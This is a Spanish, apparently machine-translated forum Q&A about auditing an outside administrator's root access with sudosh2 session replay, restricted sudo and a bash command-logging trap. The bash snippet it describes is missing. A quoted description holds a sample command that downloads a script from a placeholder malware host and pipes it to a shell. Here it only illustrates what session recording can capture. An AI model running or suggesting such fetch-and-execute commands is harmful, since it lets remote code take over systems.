Quiero dar acceso a mi servidor raíz a un administrador externo del sistema, pero quiero asegurarme de verificar lo que le está haciendo a mi servidor, por ejemplo, copiar datos que no quiero que hagan, etc. También me gustaría hacer un seguimiento de cualquier archivo al que se acceda, incluso en solo lectura y no editado.
¿Cómo puedo hacer eso?
Respuestas:
¡Confiar pero verificar!
Echa un vistazo a sudosh2 . sudosh2 es proporcionado por los puertos de FreeBSD. Los paquetes están disponibles para RedHat y Ubuntu. Aquí está la descripción de su sitio web:
Sudosh le permitirá reproducir la sesión del usuario, lo que le permitirá ver todas las entradas y salidas tal como las vio el usuario. Puede ver todo, pulsaciones de teclas, errores tipográficos, espacios de retroceso, en qué editaron
vi
, la salida dewget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
, etc.Es posible enviar registros sudosh a syslog, para que puedan almacenarse en un servidor central de syslog alejado del sistema.
Tenga en cuenta que sudosh2 es un reemplazo para sudosh, que fue abandonado por su autor
¿Trabaja en una institución académica donde los usuarios insisten en tener privilegios de superusuario? ¿O trabaja en una corporación y desea permitir que los usuarios tengan privilegios de superusuario en sus propias máquinas virtuales? Esta podría ser la solución para ti.
fuente
No le des acceso root. En su lugar, dele una cuenta de usuario sin privilegios y solicite que haga todo su trabajo
sudo
, que registrará todos sus comandos.Tenga en cuenta que si esta persona tiene malas intenciones y le dan privilegios sudo completo, que será encontrar una manera de llevar a cabo esas malas intenciones sin esos comandos están registrando. En este caso, solo concédale acceso a los comandos específicos que necesita para hacer su trabajo.
fuente
sudo su -
y tener un shell raíz que no se registrará (excepto que lo inició). Esto es lo que normalmente escribo cuando quiero hacer más de un comando como root de una sola vez, o si quiero completar la pestaña en directorios que los usuarios normales no pueden leer.sudo su -
si lo desea.No estoy familiarizado con sudosh2, pero puse lo siguiente en mi
.bashrc
para registrar todos los comandos que escribo en unbash
shell en el archivo~/.command_log
:Lo anterior establece una trampa
DEBUG
, que se ejecuta justo antes de que se ejecute un comando ordinario. Elcaller
incorporado se usa para probar si el comando se está escribiendo en un shell interactivo o se ejecuta a través de algo así.bashrc
. El valor${BASH_COMMAND}
contiene el comando que se está ejecutando actualmente.fuente